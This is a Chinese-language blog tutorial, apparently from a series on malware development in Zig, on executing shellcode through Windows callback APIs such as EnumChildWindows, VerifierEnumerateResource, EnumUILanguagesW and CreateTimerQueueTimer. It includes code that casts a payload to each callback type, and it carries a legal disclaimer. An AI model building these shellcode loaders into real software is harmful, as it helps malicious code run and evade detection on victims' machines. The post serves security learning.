嗨嗨大家,中秋佳節,連假快樂!中秋節就是要來讀個鐵人賽的文章配月餅對吧!
今天要來介紹的主題是如何利用回呼函數(Callback functions)來執行 Shellcode。然後會帶大家一起看一下 Zig 的範例程式碼,那麼我們就開始囉!
完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Others/Callback-Code-Execution/callback_code_execution/
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
回呼函數是用來處理某些「事件完成」或是「條件達成」的時候要執行某些動作的函數。微軟的定義如下:
A callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.
我請 ChatGPT 的精準翻譯是這樣:「回呼函式(callback)是位於受管理應用程式中的程式碼,用來協助非受管理的 DLL 函式完成某項工作。對回呼函式的呼叫會由受管理應用程式經由 DLL 函式間接轉發,然後再返回到受管理應用程式中的該回呼實作執行」。
總之呢,回呼函數就是會在某件事件完成後,回過頭去呼叫該函數,所以稱為回呼函數。
Windows 的回呼函數是使用函數的指針來執行的,所以我們為了執行我們的 Payload,我們需要把地址傳給它。比起前幾天提過的本地進程的 Shellcode 執行方式,例如 CreateThread
等等,我們可以透過使用回呼函數來執行我們的 Paylaod,優點包括但不限於以下:
.text
)EnumChildWindows
可以讓程式枚舉 Parent 視窗中的子視窗,並把用戶定義的回呼函數一次一個的應用到每一個子視窗中。所以每個子視窗都會呼叫到我們指定的回呼函數,並把子視窗的句柄和使用者定義的值作為參數傳遞給該回呼函數。當我們傳入 null
給 EnumChildWindows
的時候,它會枚舉所有的頂層視窗。
extern "user32" fn EnumChildWindows(
hWndParent: ?HWND,
lpEnumFunc: WNDENUMPROC,
lParam: LPARAM,
) callconv(WINAPI) windows.BOOL;
const WNDENUMPROC = *const fn (HWND, LPARAM) callconv(WINAPI) windows.BOOL;
// Cast the payload address to the callback function type
const callback = @as(WNDENUMPROC, @ptrCast(&payload));
if (EnumChildWindows(null, // NULL parent enumerates all top-level windows
callback, // Our payload
0 // NULL lParam
) == 0) {
print("[!] EnumChildWindows Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return;
}
這個函數用來枚舉指定模組(像是執行檔或是動態連結函式庫)中的資源並對於每個找到的資源呼叫回呼函數。這裡的資源包括字串、Bitmaps、圖片等等。由於 VerifierEnumerateRsource
是從 verifier.dll
匯出的,所以要先透過 LoadLibrary
和 GetProcAddress
把該函數載入到當前進程。
// Application Verifier callback function type
const AVRF_RESOURCE_ENUMERATE_CALLBACK = *const fn (
PVOID, // ResourceDescription
PVOID, // EnumerationContext
PULONG, // EnumerationLevel
) callconv(WINAPI) ULONG;
// Function pointer type for VerifierEnumerateResource
const FnVerifierEnumerateResource = *const fn (
HANDLE, // Process
ULONG, // Flags
ULONG, // ResourceType
AVRF_RESOURCE_ENUMERATE_CALLBACK, // ResourceCallback
?PVOID, // EnumerationContext
) callconv(WINAPI) ULONG;
// Load verifier.dll dynamically
hModule = LoadLibraryA("verifier.dll");
const proc_addr = GetProcAddress(hModule.?, "VerifierEnumerateResource");
pVerifierEnumerateResource = @as(FnVerifierEnumerateResource, @ptrCast(proc_addr.?));
// Cast the payload address to the callback function type
const callback = @as(AVRF_RESOURCE_ENUMERATE_CALLBACK, @ptrCast(&payload));
// Call VerifierEnumerateResource
_ = pVerifierEnumerateResource.?(
GetCurrentProcess(),
0,
AvrfResourceHeapAllocation,
callback,
null,
);
這邊的 ResourceType
參數若不是傳入 AvrfResourceHeapAllocation
,則 Payload 不會執行。
使用這個函數,它將會枚舉系統上已安裝的 UI 語言,並且會對每個枚舉出來的語言呼叫我們指定的回呼函數。
extern "user32" fn EnumUILanguagesW(
lpUILanguageEnumProc: UILANGUAGE_ENUMPROCW,
dwFlags: DWORD,
lParam: LPARAM
) callconv(WINAPI) windows.BOOL;
const UILANGUAGE_ENUMPROCW = *const fn ([*:0]u16, LPARAM) callconv(WINAPI) windows.BOOL;
const MUI_LANGUAGE_NAME: DWORD = 0x8;
// Cast the payload address to the callback function type
const callback = @as(UILANGUAGE_ENUMPROCW, @ptrCast(&payload));
if (EnumUILanguagesW(callback, MUI_LANGUAGE_NAME, 0) != 0) {
print("[!] EnumUILanguagesW Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return;
}
值得注意的是,使用任何值來代替 MUI_LANGUAGE_NAME
並傳入,我們的回呼函式依然會執行。
這個函數會建立一個新的 timer-queue timer,並在到期或是週期到達的時候去呼叫我們指定的回呼函數。其中這個回呼函數會由建立 timer-queue 的線程來執行。
使用這個方式是回呼函式執行任意程式碼中最可靠的其中一種方式。
extern "kernel32" fn CreateTimerQueueTimer(
phNewTimer: *?windows.HANDLE,
TimerQueue: ?windows.HANDLE,
Callback: WAITORTIMERCALLBACK,
Parameter: ?*anyopaque,
DueTime: windows.DWORD,
Period: windows.DWORD,
Flags: windows.ULONG,
) callconv(WINAPI) windows.BOOL;
const WAITORTIMERCALLBACK = *const fn (?*anyopaque, windows.BOOL) callconv(WINAPI) void;
// Cast the payload address to the callback function type
const callback = @as(WAITORTIMERCALLBACK, @ptrCast(&payload));
if (CreateTimerQueueTimer(
&hTimer,
null, // TimerQueue - use default queue
callback, // Callback - our shellcode
null, // Parameter
0, // DueTime - execute immediately
0, // Period - execute once
0, // Flags
) == 0) {
print("[!] CreateTimerQueueTimer Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return;
}
當然,並不只有以上提到的四種函數可以執行回呼函數,有很多的 Windows API 都可以執行回呼函數,包括但不限於以下:
EnumerateLoadedModules
EnumDirTreeW
SymEnumProcesses
EnumPageFilesW
LdrEnumerateLoadedModules
EnumWindows
EnumResourceTypesW
EnumFontsW
如果有興趣,可以在這個 GitHub 專案找到更多有關於可以調用回呼函數來執行任意程式碼的函數。
好啦,那我們今天就到這裡囉!再次祝大家中秋節快樂!
明天我們來看一下線程劫持(Thread hijacking)吧!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!